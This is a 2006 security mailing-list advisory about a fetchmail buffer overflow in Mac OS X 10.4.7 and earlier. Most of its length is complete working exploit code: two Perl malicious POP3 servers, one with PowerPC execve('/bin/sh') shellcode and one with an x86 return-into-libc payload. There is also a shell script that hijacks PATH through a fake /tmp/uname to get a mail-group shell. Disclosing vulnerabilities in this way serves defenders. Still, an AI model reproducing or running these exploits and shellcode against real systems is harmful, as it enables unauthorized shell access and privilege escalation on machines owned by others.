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DMA[2006-0801a] - 'Apple OSX fetchmail buffer overflow' Aug 01 2006 09:52PM
K F (lists) (kf_lists digitalmunition com)

DMA[2006-0801a] - 'Apple OSX fetchmail buffer overflow'
Author: Kevin Finisterre
Vendor: http://www.apple.com/
Product: 'Mac OSX <=10.4.7'
References:
http://www.digitalmunition.com/DMA[2006-0801a].txt
http://www.digitalmunition.com/getpwnedmail-x86.pl
http://www.digitalmunition.com/getpwnedmail-ppc.pl
http://www.freebsd.org/cgi/query-pr.cgi?pr=83805
http://fetchmail.berlios.de/fetchmail-SA-2005-01.txt
http://www.securityfocus.com/bid/14349

Description:
fetchmail-SA-2005-01 states that 'In fetchmail-6.2.5 and older, very long UIDs can
cause fetchmail to crash, or potentially make it execute code placed on the stack.
In some configurations, fetchmail is run by the root user to download mail for
multiple accounts.'. The authors of fetchmail made patches for these issues available
to the public on 2005-07-21.

In defiance of a 'very proactive approach to security' Apple's OSX remained unpatched
for approximately one year after the vendor supplied patches were made available.
Shortly after the vendor disclosure of this bug exploits were made available by The
Mantis Project (bannedit (at) frontiernet (dot) net [email concealed]). Conicidentally a recent paper was written
about exploiting buffer overflows and this vulnerability was used as an example:
http://packetstormsecurity.org/papers/attack/payload-rewrite_exploit.txt

As you may have guessed by now exploitation on OSX is fairly trivial for both PowerPC
and x86 platforms. An attacker with local access can gain gid=6 (mail) and a remote
attacker may gain root under certain conditions.

k-fs-computer:~ kf$ ls *pwnedmail*
getpwnedmail-ppc.pl getpwnedmail-x86.pl

On PowerPc things were pretty straight forward. Simply overwriting the $pc and $lr
registers with the address of our stack based shellcode was enough to snag egid=6. On
x86 we obviously have to deal with the NX based protection. As shown plenty of times
in the past a non executable stack by itself is pretty useless. We can overwrite the
$eip register with the address of system() and we are pretty much good to go. A small
wrapper in /tmp can help finish the job and give us a shell with gid=6.

k-fs-computer:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234
Enter password for kfinisterre@localhost:
sh-2.05b$ id
uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)

In some cases fetchmail is run by the root user so it may be possible to take remote
root with this vulnerability under certain circumstances.

As a side note a previously undisclosed local vulnerability in fetchmail was discovered
while documenting the above mentioned issue. Fetchmail no longer ships in a setgid() configuration
so this information should be of minimal impact. It is worth noting since it may impact non OSX
machines in a similar manor.

k-fs-computer:~ kf$ export PATH=/tmp/:$PATH
k-fs-computer:~ kf$ cat > /tmp/uname
/usr/bin/id
/bin/sh -i
k-fs-computer:~ kf$ chmod +x /tmp/uname
k-fs-computer:~ kf$ /usr/bin/fetchmail -V
This is fetchmail release 6.2.5+IMAP-GSS+SSL+INET6
Fallback MDA: (none)
uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)
sh-2.05b$

This issue is caused by the following code snippet:

if (versioninfo)
{
...
/* this is an attempt to help remote debugging */
system("uname -a");
}

Both of the above problems are addressed by the latest Apple update.

Work Around:
Install the 2006-004 update
http://docs.info.apple.com/article.html?artnum=106704
http://docs.info.apple.com/article.html?artnum=61798
http://www.apple.com/support/downloads/

#!/usr/bin/perl
# getpwnedmail.pl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright (c) 1999 David Nicol <davidnicol (at) acm (dot) org [email concealed]>
#
# kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234
# Enter password for kfinisterre@localhost:
# sh-2.05b$ id
# uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)
#
# http://docs.info.apple.com/article.html?artnum=106704

use Socket;
use IO::Handle;
use IO::Socket;

$banner = "fetchmail ppc exploit - OSX 10.4.7 8J135";
$sc = "iiii" x 10 .
# * PPC MacOS X shellcode
# * ghandi <ghandi (at) mindless (dot) com [email concealed]>
"\x7c\xa5\x2a\x79" . # /* xor. r5, r5, r5 ; r5 = NULL */
"\x40\xa2\xff\xfd" . # /* bnel shellcode */
"\x7f\xe8\x02\xa6" . # /* mflr r31 */
"\x3b\xff\x01\x30" . # /* addi r31, r31, 268+36 */
"\x38\x7f\xfe\xf4" . # /* addi r3, r31, -268 ; r3 = path */
"\x90\x61\xff\xf8" . # /* stw r3, -8(r1) ; argv[0] = path */
"\x90\xa1\xff\xfc" . # /* stw r5, -4(r1) ; argv[1] = NULL */
"\x38\x81\xff\xf8" . # /* subi r4, r1, 8 ; r4 = {path, 0} */
"\x3b\xc0\x76\x01" . # /* li r30, 30209 */
"\x7f\xc0\x4e\x70" . # /* srawi r0, r30, 9 */
"\x44\xff\xff\x02" . # /* sc ; execve(r3, r4, r5) */
"/bin/sh";

$eip = 0xbfffd238; # No NX to worry about so just hop right on into the stack.

$malstr = "A" x 196 . pack('l', $eip) x 2;

$PortNumber = 1234;
$door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber, Listen=>SOMAXCONN, Reuse=>1 );
die "Cannot set up socket: $!" unless $door;

$timeout = 60;
$SIG{ALRM} = sub { die "alarm or timeout\n" };

print "open a new window and type - \"/usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234\"\n";
print "choose any password and press enter\n";
for(;;)
{
until( $client = $door->accept())
{
sleep 1;
};
$F = fork;
die "Fork weirdness: $!" if $F < 0;

if($F)
{
close $client;
next;
};

close ($door);

$client->autoflush();
&AUTHORIZATION;
&TRANSACTION;
exit;
};

sub OK($)
{
my $A = shift;
$A =~ s/\s+\Z//g;
print $client "+OK $A\r\n";
alarm $timeout;
};

sub ERR($)
{
my $A = shift;
$A =~ s/\s+/ /g;
$A =~ s/\s+\Z//g;
print $client "-ERR $A\r\n";
alarm $timeout;
};

sub AUTHORIZATION
{
$Name = '';
OK "$banner";
NEEDUSER:
$Data = <$client>;
($Name) = $Data =~ m/^user (\w+)/i;
unless($Name)
{
ERR "The itsy bitsy spider walked up the water spout";
die if ++$strikes > 5;
goto NEEDUSER;
};
OK "User name ($Name) ok. Password, please.";
$Data = <$client>;
my($Pass) = $Data =~ m/^pass (.*)/i;
$Pass =~ s/\s+\Z//g;

OK "$Name has " . 8 . " messages";
};

sub TRANSACTION
{
%deletia = ();
START:
$_ = $Data = <$client>;
unless(defined($Data))
{
print "Client closed connection\n";
exit;
};
if (m/^STAT/i){ &STAT; goto START};
if (m/^UIDL/i){ &UIDL; goto START};

# Just cram the shellcode onto the stack...
ERR "Welcome to Pwndertino ! $sc";

goto START;
}

sub STAT
{
alarm 0;
$mm = 0;
$nn = scalar(@Messages);
foreach $M (@Messages){
$mm += -s "$M";
};
OK "8 7035";
};

sub List($)
{
my $M = $Messages[$_[0]-1];
return if $deletia{$M};
print $client $_[0],' ',(-s $M)."\r\n";
alarm $timeout;
};

sub UIDL
{
print "Sending exploit string\n";
OK "1 " . $malstr;
};

#!/bin/sh
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# Previously undisclosed local fetchmail issue. This takes setgid=6
#
# http://docs.info.apple.com/article.html?artnum=106704

export PATH=/tmp:$PATH
echo /bin/sh -i > /tmp/uname
chmod +x /tmp/uname
/usr/bin/fetchmail -V

#!/usr/bin/perl
# getpwnedmail.pl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright (c) 1999 David Nicol <davidnicol (at) acm (dot) org [email concealed]>
#
# kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234
# Enter password for kfinisterre@localhost:
# sh-2.05b$ id
# uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)
#
# http://docs.info.apple.com/article.html?artnum=106704

use Socket;
use IO::Handle;
use IO::Socket;

$banner = " /tmp/sh ";
$cmd = $banner ;

$ebp = 0x41424344;
$system = 0x900474e0; # NX is a problem use return into libc
$setuid = 0x90033da0;
$cmdstr = 0xbfffd923; # (gdb) x/10s $esp+131 - 0xbfffd8e3: " /tmp/sh "

$malstr = "A" x 286 . pack('l', $ebp) . pack('l', $system) . pack('l', $setuid) . pack('l', $cmdstr) ;

open(SUSH,">/tmp/aaa.c");
printf SUSH "int main(){setegid(6);setgid(6);system(\"/bin/sh\");}\n";
system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");

$PortNumber = 1234;
$door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber, Listen=>SOMAXCONN, Reuse=>1 );
die "Cannot set up socket: $!" unless $door;

$timeout = 60;
$SIG{ALRM} = sub { die "alarm or timeout\n" };

print "open a new window and type - \"/usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234\"\n";
print "choose any password and press enter\n";
for(;;)
{
until( $client = $door->accept())
{
sleep 1;
};
$F = fork;
die "Fork weirdness: $!" if $F < 0;

if($F)
{
close $client;
next;
};

close ($door);

$client->autoflush();
&AUTHORIZATION;
&TRANSACTION;
exit;
};

sub OK($)
{
my $A = shift;
$A =~ s/\s+\Z//g;
print $client "+OK $A\r\n";
alarm $timeout;
};

sub ERR($)
{
my $A = shift;
$A =~ s/\s+/ /g;
$A =~ s/\s+\Z//g;
print $client "-ERR $A\r\n";
alarm $timeout;
};

sub AUTHORIZATION
{
$Name = '';
OK "$banner";
NEEDUSER:
$Data = <$client>;
($Name) = $Data =~ m/^user (\w+)/i;
unless($Name)
{
ERR "The itsy bitsy spider walked up the water spout";
die if ++$strikes > 5;
goto NEEDUSER;
};
OK "User name ($Name) ok. Password, please.";
$Data = <$client>;
my($Pass) = $Data =~ m/^pass (.*)/i;
$Pass =~ s/\s+\Z//g;

OK "$Name has " . 8 . " messages";
};

sub TRANSACTION
{
%deletia = ();
START:
$_ = $Data = <$client>;
unless(defined($Data))
{
print "Client closed connection\n";
exit;
};
if (m/^STAT/i){ &STAT; goto START};
if (m/^UIDL/i){ &UIDL; goto START};

# Just cram the shellcode onto the stack...
ERR "Welcome to Pwndertino ! $cmd";

goto START;
}

sub STAT
{
alarm 0;
$mm = 0;
$nn = scalar(@Messages);
foreach $M (@Messages){
$mm += -s "$M";
};
OK "8 7035";
};

sub List($)
{
my $M = $Messages[$_[0]-1];
return if $deletia{$M};
print $client $_[0],' ',(-s $M)."\r\n";
alarm $timeout;
};

sub UIDL
{
print "Sending exploit string\n";
OK "1 " . $malstr;
};

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